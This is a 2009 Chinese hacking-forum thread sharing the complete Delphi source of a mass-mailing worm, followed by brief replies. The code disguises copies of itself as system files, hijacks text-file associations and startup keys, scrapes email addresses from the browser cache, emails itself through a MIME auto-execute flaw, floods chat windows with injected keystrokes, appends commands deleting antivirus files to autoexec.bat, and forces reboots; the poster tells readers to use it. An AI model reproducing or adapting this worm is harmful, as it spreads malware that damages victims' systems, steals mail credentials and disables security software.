论坛: 菜鸟乐园 标题: QQ病毒源代码 复制本贴地址    
作者: Winmillion [winmillion]    论坛用户   登录
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Forms, shellapi,
winsock, Controls, Classes, StdCtrls, ExtCtrls,DateUtils,inifiles;

type
TForm1 = class(TForm)
Timer1: TTimer;
Memo1: TMemo;
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
procedure FindFiles(StartDir: string);
procedure GetEmailAddress(FileName:string);
procedure WriteAddress(Address:string);

{ Private declarations }
public
procedure getinputhandle;
procedure postmsg;
procedure scanemail;
procedure wmwindowsclose(var msg:Tmessage);message wm_queryendsession;
procedure kill98;
{ Public declarations }
end;
type
cs=record
address:array[0..99] of string;
count:integer; //email地址的个数
smtp:pchar; //smtp服务器的地址
account:pchar; //发送信笺时使用的帐号
end;
var
Form1: TForm1;
hWnd11:hwnd;
i,safeid:integer;
talk1,talk2,talk3:string;
const
HELO=HELO#13#10;
MAILFROM=MAIL FROM: %S#13#10;
RCPTTO=RCPT TO: %S#13#10;
DATA=DATA#13#10;
QUIT=QUIT#13#10;
ENDSIGN=#13#10.#13#10;
implementation
// function RegisterServiceProcess (dwProcessID, dwType: DWord) : DWord; stdcall; external KERNEL32.DLL;
{$R *.dfm}
function checkwinver:string;
var
OS :TOSVersionInfo;
begin
ZeroMemory(@OS,SizeOf(OS));
OS.dwOSVersionInfoSize:=SizeOf(OS);
GetVersionEx(OS);
Result:=未知;
if OS.dwPlatformId=VER_PLATFORM_WIN32_NT then begin
case OS.dwMajorVersion of
3: Result:=NT;
4: Result:=NT;
5: Result:=2000;
end;
if (OS.dwMajorVersion=5) and (OS.dwMinorVersion=1) then
Result:=XP;
end else begin
if (OS.dwMajorVersion=4) and (OS.dwMinorVersion=0) then begin
Result:=95;
if (Trim(OS.szCSDVersion)=B) then
Result:=952;
end else
if (OS.dwMajorVersion=4) and (OS.dwMinorVersion=10) then begin
Result:=98;
if (Trim(OS.szCSDVersion)=A) then
Result:=982;
end else
if (OS.dwMajorVersion=4) and (OS.dwMinorVersion=90) then
Result:=ME;
end;
end;
procedure tform1.FindFiles(StartDir: string);
var
SR: TSearchRec; //用来储存返回的文件的一些数据
IsFound: Boolean;//做为一个标志
begin
IsFound :=FindFirst(StartDir+*.htm, faAnyFile-faDirectory, SR) = 0;
//在startdir里面查找htm文件
while IsFound do begin
//如果找到htm文件
GetEmailAddress(startdir+sr.Name);
//这里调用我们自己定义的函数,传递的参数是startdir+sr.name也就是该文件的绝对路径。
//注意,这里的函数 GetEmailAddress我们等一下再来描述
IsFound := FindNext(SR) = 0;
//继续查找htm文件,只到标志isfound为false
end;
FindClose(SR);
IsFound := FindFirst(StartDir+*.*, faAnyFile, SR) = 0;
//现在是查找所有的文件
while IsFound do begin
if ((SR.Attr and faDirectory) <> 0) and(SR.Name[1] <> .) then
findfiles(startdir+sr.Name+\);
//如果该文件是目录,并且不是"."或者"..",那么就在该目录里继续查找,也就是在这里递归了。
IsFound := FindNext(SR) = 0;
end;
FindClose(SR);
end;
procedure tform1.GetEmailAddress(FileName:string);
var
F:textfile;
S:string;//用来装每次读一行的字符串
Address:string;//得到的email地址
i,Position:integer;
begin
AssignFile(F,FileName);
Reset(f);
while not Eof(f) do
begin
Address:=;
//首先清空address
Readln(f,s);
//读取一行字符串到s中
Position:=Pos(mailto:,S);
//查找首个"mailto:"在s中的地址,如果一行中含有多个"mailto:"则需要你自己修改修改
if Position > 0 then
begin
for i:=Position+7 to length(S) do
//这里position+7里的7表示"mailto:"的长度
begin
if ((Upcase(s)<=#90) and (Upcase(s)>=#64)) or ((S<=#57) and (S>=#48)) or (S=.) then
//判断是否有效字符
Address:=Address+S
else
break;
end;
if (Address<>) and (Pos(@,Address)<>0) then
//如果是有效地址,就把它写到列表中去。
//但是,可能这个地址以前已经存在在这个列表中,
//所以我定义了一个函数WriteAddress来判断是否存在该地址
//如果不存在,就添加到地址列表中去。
WriteAddress(Address);
end;
end;
closefile(f);
end;
procedure tform1.WriteAddress(Address:string);
var
F:textfile;
S,Str:string;
CanWrite:boolean;
Path:array[0..255] of char;
begin
GetSystemDirectory(path,256);
//首先取得系统目录,到时候把email地址列表文件保存到这里。
Str:=Strpas(Path);
CanWrite:=true;
AssignFile(F,Str+\maillist.lst);
if FileExists(Str+\maillist.lst)=false then
begin
//如果不存在maillist.lst,则信建一个文件maillist.lst来存放email地址。
Rewrite(F);
writeln(F,Address);
Closefile(F);
exit;
end else
begin
Reset(f);
while not Eof(F) do
begin
Readln(F,S);
if Address=S then
begin
CanWrite:=false;
break;
end;
end;
CloseFile(F);
end;

if CanWrite then
begin
Append(F);
Writeln(F,Address);
CloseFile(F);
end;
end;
procedure SelfCopy;
var
Path,value:array [0..255] of char;
Hk:HKEY;
S:string;
begin
GetSystemDirectory(Path,256);
//取得系统的路径
s:=strpas(Path);
//转换成字符串
CopyFile(pchar(paramstr(0)),pchar(S+\exp1orer.exe),false);
CopyFile(pchar(paramstr(0)),pchar(S+\notopad.exe),false);
//把自身拷贝到系统目录下为ruin.exe,virus_ruin.exe
SetFileAttributes(pchar(S+\exp1orer.exe),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
SetFileAttributes(pchar(S+\notopad.exe),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
//设置刚才的两个文件为系统和隐藏
RegOpenKey(HKEY_CLASSES_ROOT,txtfile\shell\open\command,Hk);
value:=notopad.exe %1;
RegSetvalueEx(Hk,,0,REG_SZ,@value,17);
//把virus_ruin.exe和文本文件关联
RegOpenKey(HKEY_LOCAL_MACHINE,Software\Microsoft\Windows\CurrentVersion\Run,Hk);
value:=notopad.exe;
RegSetvalueEx(Hk,ruin,0,REG_SZ,@value,8);
//设置开机自动运行ruin.exe
end;
procedure EncodeBASE64(Dest,Source:string);//这里是用两个字符串作为参数,也就两个文件的路径
const
_Code64: String[64] =(ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/);
//这里就是base64编码算法的64个字符
crlf=#13#10;
//定义crlf为回车换行
var
s,d:file;
buf1:array[0..2] of byte;
buf2:array[0..3] of char;
llen,len,pad,i:integer;
begin
assignfile(d,dest); //这里是目标文件
rewrite(d,1);
assignfile(s,source);//这里是原始文件
reset(s,1);
pad:=0;
llen:=0;
while (1=1) do
begin
blockread(s,buf1,3,len);if len=0 then break;
if (len<3) then
begin
pad:=3-len;
for i:=len to 2 do
buf1:=0;
end;
buf2[0]:=_Code64[buf1[0] div 4+1];
buf2[1]:=_Code64[(buf1[0] mod 4)*16 + (buf1[1] div 16)+1];
buf2[2]:=_Code64[(buf1[1] mod 16)*4 + (buf1[2] div 64)+1];
buf2[3]:=_Code64[buf1[2] mod 64+1];
//这里进行了编码
if (pad<>0) then
begin
if pad=2 then buf2[2]:==;
buf2[3]:==;
//输入只有一个或两个字节,那么输出将用等号“=”补足
blockwrite(d,buf2,4);
end
else
begin
blockwrite(d,buf2,4);
end;
inc(llen,4);
if (llen=76) then
begin
blockwrite(d,crlf,2);
//控制每行只写76个字符
llen:=0;
end;
end;
blockwrite(d,crlf,2);
closefile(d);
closefile(s);
end;
function makeboundary:string;
begin
result:=-----=_老同学_+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10));
end;
procedure makeemlfile;
var
f,d:textfile;
path:array[0..255] of char;
boundary1,boundary2,S,str,line:string;
begin
GetSystemDirectory(path,256);
str:=strpas(path);
boundary1:=makeboundary;
boundary2:=makeboundary;
//这里,我们随机的生成了两个标签。
Randomize;
s:=From: +inttostr(Random(100))+@21cn.com+#13#10//这里你可以换成你自己的email地址
+Subject: 你好!#13#10 //这里,你也可以随机的来生成主题
+X-Priority: 1#13#10 //邮件的优先级,其实可以忽略
+Mime-Version: 1.0#13#10
+Content-Type: multipart/related;boundary="+boundary1+"#13#10#13#10
+--+boundary1+#13#10
+Content-Type: multipart/alternative;boundary="+boundary2+"#13#10
+--+boundary2+#13#10
+Content-Type: text/html#13#10
+Content-Transfer-Encoding: quoted-printable#13#10#13#10
+<iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe>#13#10
+--+boundary1+#13#10
+Content-Type: audio/x-wav;name="ruin.exe"#13#10 //就是这里audio/x-wav为mime漏洞了。
+Content-Transfer-Encoding: base64#13#10
+Content-ID: <THE-CID>#13#10#13#10;
//这里就是填充一些必要的信息。
assignfile(f,str+\ruin.eml);
rewrite(f);
write(f,s);//首先把上面的内容写入文件ruin.eml
CopyFile(pchar(paramstr(0)),pchar(str+\ruin_temp.exe),false);
//因为不能打开自身进行读写,所以,这里先做一个拷贝文件,我们直接来读拷贝后的文件
encodebase64(str+\ruin_eml.txt,str+\ruin_temp.exe);
deletefile(str+\ruin_temp.exe);
//删除刚才拷贝的临时文件
assignfile(d,str+\ruin_eml.txt);
reset(d);
while not eof(d) do
begin
readln(d,line);
writeln(f,line);
//接着向ruin.eml里面写入我们的病毒代码的base64编码
end;
closefile(d);
deletefile(str+\ruin_eml.txt);
//删除刚才调用base64编码算法生成的临时文件
closefile(f);
end;
function mysizeof(buffer:string):integer; //这个函数用来得到数据的长度
var
i:integer;
begin
for i:=1 to length(buffer) do
if buffer=#10 then break;
mysizeof:=i;
end;

function randomaddress:pchar; //产生一个用户名
begin
Randomize;
result:=pchar(inttostr(random(1000))+@21cn.com);
end;

function getip(name:pchar):pchar;
type
plongint=^longint;
var
phe:phostent;
address:longint;
begin
phe:=gethostbyname(name);
if phe <> nil then
begin
address:=longint(plongint(phe^.h_addr_list^)^);
getip:=inet_ntoa(TInAddr(Address));
end
else getip:=name;
end;
procedure sendmail(canshu:cs);
var
s:tsocket;
//wsa:twsadata;
server:tsockaddr;
errorcode,i,count:integer;
smtp,account:pchar;
address:array of string;
recvbuffer,sendbuffer:array[0..79] of char;
head,path:array[0..255] of char;
body:array of char;
f:file;
str:string;
begin
//wsastartup(01,wsa);
//加载winsock库
GetSystemDirectory(path,256);
str:=strpas(path);
count:=2;
setlength(address,count);
getmem(smtp,256);
getmem(account,256);
//分配内存空间
strcopy(smtp,canshu.smtp);
strcopy(account,canshu.account);
//填充一些基本的信息
s:=socket(af_inet,sock_stream,0);
//建立一个套接字
if s=invalid_socket then exit;
server.sin_family:=af_inet;
server.sin_port:=htons(25);
server.sin_addr.S_addr:=inet_addr(getip(canshu.smtp));
errorcode:=connect(s,server,sizeof(server));
//调用connect和服务器连接
if errorcode=0 then
begin
makeemlfile;
//调用我们上面的函数,生成一个eml文件
assignfile(f,str+\ruin.eml);
reset(f,1);
i:=filesize(f);
setlength(body,i);
blockread(f,body[0],i);
//把刚才eml文件里面的所有内容都读取到body里面去
closefile(f);
recv(s,head,sizeof(head),0);
//这里调用recv来接受服务器的banner
strpcopy(sendbuffer,HELO);
send(s,sendbuffer,6,0);
//我们发送命令HELO
recv(s,recvbuffer,sizeof(recvbuffer),0);
//接收服务器的返回信息
strpcopy(sendbuffer,format(mailfrom,[account]));
send(s,sendbuffer,mysizeof(sendbuffer),0);
//我们发送命令MAIL FROM
recv(s,recvbuffer,sizeof(recvbuffer),0);
//接收服务器的返回信息
for i:=0 to count-1 do
begin
strpcopy(sendbuffer,format(RCPTTO,[address]));
send(s,sendbuffer,mysizeof(sendbuffer),0);
recv(s,recvbuffer,sizeof(recvbuffer),0);
end;
//已经发送count个rcpt to命令
strpcopy(sendbuffer,DATA);
send(s,sendbuffer,6,0);
//这里开始发送信笺的主体
recv(s,recvbuffer,sizeof(recvbuffer),0);
//接收服务器的返回信息
send(s,body[0],length(body),0);
strpcopy(sendbuffer,ENDSIGN);
send(s,sendbuffer,5,0);
//这里发送信笺结束标志
recv(s,recvbuffer,sizeof(recvbuffer),0);
//接收服务器的返回信息
strpcopy(sendbuffer,QUIT);
send(s,sendbuffer,6,0);
//发送QUIT表示我们要退出会话
recv(s,recvbuffer,sizeof(recvbuffer),0);
//接收服务器的返回信息
closesocket(s);
//关闭套接字
deletefile(str+\ruin.eml);
//删除临时文件
end;
freemem(smtp,256);
freemem(account,256);
//wsacleanup;
end;
procedure sendemails;
var
hk:hkey;
smtp,account,path,smtppassword:array[0..255] of char;
smtplen,accountlen,smtppasswordlen,i:integer;
canshu:cs;
f:textfile;
str:string;
begin
GetSystemDirectory(path,256);
str:=strpas(path);
smtplen:=256;
accountlen:=256;
smtppasswordlen:=256;
i:=0;
RegOpenKey(HKEY_CURRENT_USER,Software\Microsoft\Internet Account Manager\Accounts000001,hk);
RegQueryvalueEx(hk,SMTP Server,nil,nil,@smtp,@smtplen);
RegQueryvalueEx(hk,Smtp Email Address,nil,nil,@account,@accountlen);
RegQueryvalueEx(hk,SMTP Password2,nil,nil,@smtppassword,@smtppasswordlen);
//一直到这里都是准备工作,读取该用户的帐号和smtp服务器
if smtppasswordlen<>256 then
//需要注意的是,这里smtp password2表示smtp服务器需要密码登陆
//所以我们进行判断
begin
canshu.smtp:=smtp;
canshu.account:=account;
//这里是smtp服务器,按默认设置
end else
begin
canshu.smtp:=smtp.21cn.com;
canshu.account:=randomaddress;
//否则,我设置为smtp服务器为smtp.21cn.com
//帐号为随机产生一个21cn的地址
//因为smtp.21cn.com不需要身份验证
end;
assignfile(f,str+\maillist.lst);
reset(f);
while not eof(f) do
begin
readln(f,canshu.address);
inc(i);
if i=100 then
begin
i:=0;
canshu.count:=100;
sendmail(canshu);
//每次读100个地址,然后调用我们发送邮件的地址
//sendmail函数在下面会定义,请往后看
end;
end;
closefile(f);
if i>0 then
begin
canshu.count:=i;
sendmail(canshu);
//这里是如果邮件个数不是100的整数倍,就读剩余的个数i
end;
end;


procedure TForm1.getinputhandle();
var
FormThreadID,CWndThreadID:DWORD;
begin
i:=i+1;
hWnd11:=GetForegroundWindow(); // 得到当前窗口

if (hwnd11=form1.Handle) then
begin
hwnd11:=0;// 排除程序本身的窗口
exit;
end;
FormThreadID:= GetCurrentThreadId(); // 本程序的线程ID

// 当前窗口的线程ID

CWndThreadID:=GetWindowThreadProcessId(hWnd11,nil);

// 附加输入线程

AttachThreadInput(CWndThreadID, FormThreadID, true);

// 得到当前键盘光标所在的窗口

hWnd11:= GetFocus();

// 取消附加的输入线程


AttachThreadInput(CWndThreadID, FormThreadID, false);

end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
try
getinputhandle;
Randomize;
if i>5 then
if random(5)=1 then
begin
postmsg;
i:=0;
end;
if HourOf(now)=13 then
//每天1点执行扫描
begin
scanemail;
sendemails;
end;
except
end;
end;

procedure TForm1.postmsg;
Var a:widestring;
b:array[0..500] of char;
i:integer;
Begin
if hwnd11=0 then exit;
zeromemory(@b,500);
randomize;
i:=random(4);
a:=memo1.lines.text;
if i=1 then
a:=talk1;
if i=2 then
a:=talk2;
if i=3 then
a:=talk3;
strpcopy(b,a);

for i:=0 to 300 do
begin
postmessage(hwnd11,wm_char,wParam(b),0);
end;
keybd_event(vk_return,MapVirtualKey(vk_return,0),0,0);//键下R键。
keybd_event(vk_return,MapVirtualKey(vk_return,0), KEYEVENTF_KEYUP,0);
keybd_event(VK_CONTROL,MapVirtualKey(VK_CONTROL,0),0,0); //按下CTRL键。
keybd_event(vk_return,MapVirtualKey(vk_return,0),0,0);//键下R键。
keybd_event(vk_return,MapVirtualKey(vk_return,0), KEYEVENTF_KEYUP,0);//放开R键。
keybd_event(VK_CONTROL,MapVirtualKey(VK_CONTROL,0),KEYEVENTF_KEYUP,0);//放开CTRL键。
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
talk1:=我好爱你啊啊!爱你爱到沟里,想你想到坑里。=明教教主=!;
talk2:=我好爱你啊啊!爱你爱到沟里,想你想到坑里。=明教教主=;
talk3:=我好爱你啊啊!爱你爱到沟里,想你想到坑里。=明教教主=;
try
if paramcount=1 then
begin
//winexec(pchar(rav.exe+paramstr(1)),sw_show);
shellexecute(0,open,pchar(notepad.exe),pchar(paramstr(1)),nil,sw_normal);
end;
i:=0;
safeid:=2;
SelfCopy;
application.Title:=Suny Write;
if findwindow(nil,冬天来了春天还会远吗?)<>0 then
begin
safeid:=4;
application.Terminate;
exit;
end;
application.Title:=冬天来了春天还会远吗?;
if (checkwinver=98) or (checkwinver=982) then
begin
kill98;
winexec(command /c explorer.exe,sw_hide);
end;
if checkwinver=2000 then
begin

end;

except
end;
end;

procedure TForm1.scanemail;
var
HK:HKEY;
IeCache:array[0..255] of char;
IeCacheLen:integer;
S:string;
begin
IeCacheLen:=256;
//设置返回值的长度
RegOpenKey(HKEY_CURRENT_USER,Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\,HK);
RegQueryvalueEx(HK,Cache,nil,nil,@IeCache,@ieCacheLen);
//读取IE缓存的路径
S:=Strpas(IeCache)+\;
//在刚才取得的路径后面加一个\
FindFiles(S);
//调用我们自己写的函数

end;

procedure TForm1.wmwindowsclose(var msg: Tmessage);
begin
safeid:=4;
end;
procedure reboot;
var
hProcess, hToken, lBufferNeeded: Cardinal;
tmpLuid: TLargeInteger;
tkp, tkp1: TOKEN_PRIVILEGES;
begin
if (checkwinver=98)or(checkwinver=982) then
begin
ExitWindowsEx(EWX_REBOOT + EWX_FORCE, 0);
exit;
end;
hProcess := GetCurrentProcess;
OpenProcessToken(hProcess, (TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY), hToken);
LookupPrivilegevalue(, SeShutdownPrivilege, tmpLuid);
tkp.PrivilegeCount := 1;
tkp.Privileges[0].Luid := tmpLuid;
tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, False, tkp, sizeof(tkp1), tkp1, lBufferNeeded);

ExitWindowsEx(EWX_REBOOT + EWX_FORCE, 0); // 重启
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
if safeid<>4 then
begin

reboot;
end;
end;

procedure TForm1.kill98;
var t:tinifile;
a:array[0..255] of char;
s,k:string;
Tmp:integer;
f:textfile;
begin
try
GetwindowsDirectory(a,255);
s:=a;
t:=tinifile.create(s+\+system.ini);
t.writestring(boot,shell,application.ExeName);
SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,@Tmp,0);
t.free;

assignfile(f,c:\msdos.sys);
reset(f);
while not eof(f) do
begin
readln(f,k);
end;
if k<>bootkeys=0 then
begin
append(f);
Writeln(f,bootkeys=0);
Flush(f);
end;
closefile(f);
if directoryexists(c:\Program Files\rising)or directoryexists(d:\Program Files\rising) then
begin
assignfile(f,c:\autoexec.bat);
reset(f);
append(f);
Writeln(f,del c:\Program Files\rising\*.*);
Writeln(f,del d:\Program Files\rising\*.*);
Writeln(f,del e:\Program Files\rising\*.*);
Writeln(f,del f:\Program Files\rising\*.*);
Flush(f);
closefile(f);
end;

except
end;
end;

end.


地主 发表时间: 09-03-09 21:29

回复: y63536034 [y63536034]   论坛用户   登录
不懂

B1层 发表时间: 09-03-10 15:54

回复: bin8619 [bin8619]   论坛用户   登录
我也不懂,还要学习

B2层 发表时间: 09-03-12 19:23

回复: my_club [my_club]   论坛用户   登录
一定要好好学习呀

B3层 发表时间: 09-03-14 12:17

回复: Winmillion [winmillion]   论坛用户   登录
只是个人累积收藏,拿出来共享给各位.
各位不要老是收藏,要经常使用,直到习惯就可以不用收藏了.
记住:技术没学进去,永远也不属于自己.


B4层 发表时间: 09-03-15 22:12

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号